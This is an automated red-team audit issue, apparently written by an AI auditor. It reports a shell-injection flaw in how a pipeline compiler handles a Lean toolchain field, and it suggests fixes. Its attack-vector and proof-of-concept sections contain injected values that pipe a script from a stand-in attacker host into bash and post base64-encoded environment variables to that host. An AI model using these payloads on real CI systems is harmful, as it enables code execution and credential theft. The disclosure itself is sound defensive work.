🔴 Red Team Audit — High: Shell injection via runtimes.lean.toolchain

[github-actions]

🔴 Red Team Security Audit

Audit focus: Category A — Input Sanitization & Injection (Round 2)
Severity: High

Findings

#	Vulnerability	Severity	File(s)	Exploitable?
1	Shell injection via runtimes.lean.toolchain — value embedded unquoted in bash command	High	src/runtimes/lean/extension.rs, src/runtimes/lean/mod.rs	Yes

---

Details

Finding 1: Shell Injection via runtimes.lean.toolchain

Description:

The runtimes.lean.toolchain front matter field is embedded unquoted and unvalidated directly into a shell command in generate_lean_install(). Unlike the Python, Node.js, and .NET runtime extensions, which all call validate::reject_pipeline_injection(version, ...) in their validate() method, the Lean extension's validate() does not validate the toolchain value at all — only a bash-disabled warning is emitted.

The SanitizeConfig derive applied to LeanOptions runs sanitize_config() on the toolchain field, but sanitize_config preserves newlines (\n, \r, \t) and only neutralizes ##vso[ sequences; it does not block ;, &&, ||, $(), backticks, or newlines as shell metacharacters.

Vulnerable code (src/runtimes/lean/mod.rs):

pub fn generate_lean_install(config: &LeanRuntimeConfig) -> String {
    let toolchain = config.toolchain().unwrap_or("stable");
    let script = format!(
        "\
set -eo pipefail
curl (elan.leanlang.org/redacted) -sSf | sh -s -- -y --default-toolchain {toolchain}
echo \"##vso[task.prependpath]$HOME/.elan/bin\"
...

The {toolchain} substitution is unquoted in the shell command.

Missing validation (src/runtimes/lean/extension.rs):

fn validate(&self, ctx: &CompileContext) -> Result<Vec<String>> {
    let mut warnings = Vec::new();
    // Only checks if bash is disabled — NO injection check on toolchain value!
    if is_bash_disabled { ... }
    Ok(warnings)
}

Contrast with Python/Node/Dotnet — all call:

if let Some(version) = self.config.version() {
    validate::reject_pipeline_injection(version, "runtimes.<lang>.version")?;
}

Attack vector:

An attacker (or malicious pull request modifying the pipeline definition) sets:

runtimes:
  lean:
    toolchain: "stable; curl (attacker.com/redacted) | bash"

This compiles to the following generated bash step:

- bash: |
    set -eo pipefail
    curl (elan.leanlang.org/redacted) -sSf | sh -s -- -y --default-toolchain stable; curl (attacker.com/redacted) | bash
    echo "##vso[task.prependpath]$HOME/.elan/bin"
    ...
  displayName: "Install Lean 4 (elan)"

The ; causes the injected command to run as a separate shell command after the elan installer exits. A newline variant also works:

toolchain: "stable\ncurl (attacker.com/redacted) | bash"

which produces a syntactically valid YAML block scalar with the injected line properly indented.

Execution context (critical): The {{ prepare_steps }} marker is placed in src/data/base.yml before AWF starts — the Lean install step runs directly on the CI runner, outside the AWF network-isolation sandbox:

{{ prepare_steps }}     ← Lean install runs here, pre-AWF

{{ awf_path_step }}
# Start SafeOutputs HTTP server...
# [AWF starts here]

This means the injection executes with full CI runner network access and can read environment variables containing pre-AWF credentials (ADO read token, service connection secrets available to the runner).

Proof of concept malicious front matter:

---
name: my-agent
description: test agent
runtimes:
  lean:
    toolchain: "stable; env | base64 | curl -s -d @- (attacker.com/redacted)
---

This would exfiltrate all environment variables (including any pipeline secrets visible pre-AWF) to an attacker-controlled endpoint.

Impact: Arbitrary shell command execution on the CI runner before AWF sandboxing is active. Potential impact includes:

• Exfiltration of ADO read tokens and other environment credentials available pre-AWF
• Arbitrary code execution on the build agent
• Bypassing AWF network isolation entirely (since the injected command runs before AWF starts)

Suggested fix:

1. Immediate: Add reject_pipeline_injection call in LeanExtension::validate() (matching the pattern already used by Python/Node/Dotnet):

fn validate(&self, ctx: &CompileContext) -> Result<Vec<String>> {
    // ... existing bash-disabled check ...

    // Validate toolchain value for injection
    if let Some(toolchain) = self.config.toolchain() {
        validate::reject_pipeline_injection(toolchain, "runtimes.lean.toolchain")?;
    }

    Ok(warnings)
}

2. Defense-in-depth: Consider using a strict character allowlist for the toolchain value (e.g., alphanumeric + /, :, ., -) since valid Lean toolchain identifiers like "stable" or "leanprover/lean4:v4.29.1" only use these characters.

3. Defense-in-depth: Shell-quote the toolchain value in generate_lean_install (e.g., using bash_single_quote_escape()) so even if a shell-safe value slips through validation, it cannot inject commands.

---

Audit Coverage

Category	Status
A: Input Sanitization	✅ Scanned (round 2)
B: Path Traversal	✅ Scanned
C: Network Bypass	✅ Scanned
D: Credential Exposure	✅ Scanned
E: Logic Flaws	✅ Scanned
F: Supply Chain	✅ Scanned

---

This issue was created by the automated red team security auditor.

Generated by Red Team Security Auditor · sonnet46 5.6M · ◷